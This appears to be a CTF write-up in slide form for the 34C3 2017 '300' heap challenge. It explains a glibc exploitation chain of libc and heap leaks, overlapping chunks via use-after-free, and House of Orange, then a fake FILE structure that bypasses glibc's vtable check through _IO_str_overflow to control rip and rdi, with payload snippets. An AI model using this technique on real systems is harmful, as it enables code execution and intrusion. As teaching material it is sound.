Slide 1

Slide 1 text

300 34c3 2017

Slide 2

Slide 2 text

Challenge overview

Slide 3

Slide 3 text

Challenge overview ● _QWORD allocs[10]; ● // Global array of 10 pointers (referred to as slots) ● Operations: alloc(), write(), print(), free()

Slide 4

Slide 4 text

Challenge overview ● User enters ‘i’, i > 0 && i < 10 ● alloc(int i): allocs[i] = malloc(0x300); ● write(int i): read(0, allocs[i], 0x300); ● print(int i): write(1, allocs[i], strlen(allocs[i])); ● free(int i): free(allocs[i]); No other check apart from ‘i’.

Slide 5

Slide 5 text

Libc leaking ● Read a free chunk in the unsorted bin ● alloc(0) ● alloc(1) ● free(0) ● read(0)

Slide 6

Slide 6 text

Heap address leaking ● Read a chunk in the unsorted bin ● alloc(0) ● alloc(1) ● alloc(2) ● alloc(3) ● free(2) ● free(0) ● read(0)

Slide 7

Slide 7 text

Create overlapping chunks ● alloc(0) ● alloc(1) ● alloc(2) ● free(1) // Goes into unsorted bin Create a fake chunk header at the end of 0th slot ● payload = "a"*0x2e0 + p64(0) + p64(0x311) + \ ● p64(heap_base + 0x310) + \ ● p64(libc_leak) ● write(0, payload)

Slide 8

Slide 8 text

Create overlapping chunks Use after free in 1st slot to modify linked list pointers in unsorted bin ● write(1, p64(libc_leak) + p64(heap_base + 0x2f0)) Unsorted bin now appears to have 2 chunks, the original 1st chunk and the fake chunk at the end of 0th chunk ● alloc(1) // The original 1st slot chunk ● alloc(4) # The fake chunk, just before 1st chunk ● free(1) # Insert the original 1st chunk back into unsorted bin

Slide 9

Slide 9 text

House of Orange Overwrite the size of free chunk to 0x61, modify pointers to point to ‘io_list_all_addr - 0x10’. Also, prepare a fake ‘FILE’ structure. ● write(4, .. + p64(0x61) + .. + p64(io_list_all_addr - 0x10) + ..) Allocate another chunk, since size of chunk unsorted bin != 0x300, it will go to small bin, triggering house of orange ● alloc(5)

Slide 10

Slide 10 text

Problem ● Libc being used is recent - vtable check. ● Commit: https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=commitdiff;h=db3476aff19 b75c4fdefbe65fcd5f0a90588ba51 ● IO_validate_vtable: https://code.woboq.org/userspace/glibc/libio/libioP.h.html#IO_validate_vtable ● _IO_vtable_check: https://code.woboq.org/userspace/glibc/libio/vtables.c.html#_IO_vtable_check

Slide 11

Slide 11 text

Idea ● We can make our fake vtable point to anywhere inside ‘__libc_IO_vtables’ without triggering any check ● ‘_IO_str_jumps’ section is inside this section and contains two functions fitting our purpose: ‘_IO_str_overflow’ and ‘_IO_wstr_finish’

Slide 12

Slide 12 text

_IO_str_overflow (_IO_FILE *fp, int c) Source: https://code.woboq.org/userspace/glibc/libio/strops.c.html#_IO_str_overflow Provided a few checks on ‘fp’ pass, this leads to: ● (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); fp->_s._allocate_buffer = (&fp + 0xe0) (just after the ‘vtable’ pointer)

Slide 13

Slide 13 text

First param: new_size ● #define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base) ● size_t old_blen = _IO_blen (fp); ● _IO_size_t new_size = 2 * old_blen + 100; Check to be passed: ● pos = fp->_IO_write_ptr - fp->_IO_write_base; ● if (pos >= (_IO_size_t) (_IO_blen (fp))) To pass ‘x’ as param, set: ● _IO_write_base and _IO_buf_base = 0 ● _IO_write_ptr and _IO_buf_end = (x-100)/2

Slide 14

Slide 14 text

Exploit ● # Craft file struct ● file_struct = pack_file(_IO_buf_base = 0, ● _IO_buf_end = (rdi-100)/2, ● _IO_write_ptr = (rdi-100)/2, ● _IO_write_base = 0, ● _lock = bin.symbols['fake_file'] + 0x80) ● # vtable pointer ● file_struct += p64(fake_vtable_addr) ● # (*((_IO_strfile *) fp)->_s._allocate_buffer) ● file_struct += p64(rip)

Slide 15

Slide 15 text

Conclusion If we have control over a few additional fields in the FILE structure, we can still have control `rip` as well as `rdi` (the first parameter) despite the recent vtable protection.

Slide 16

Slide 16 text

https://github.com/DhavalKapil/ctf-writeups/blob/master/34c3ctf-2017/300/exploit.p y [Exploit]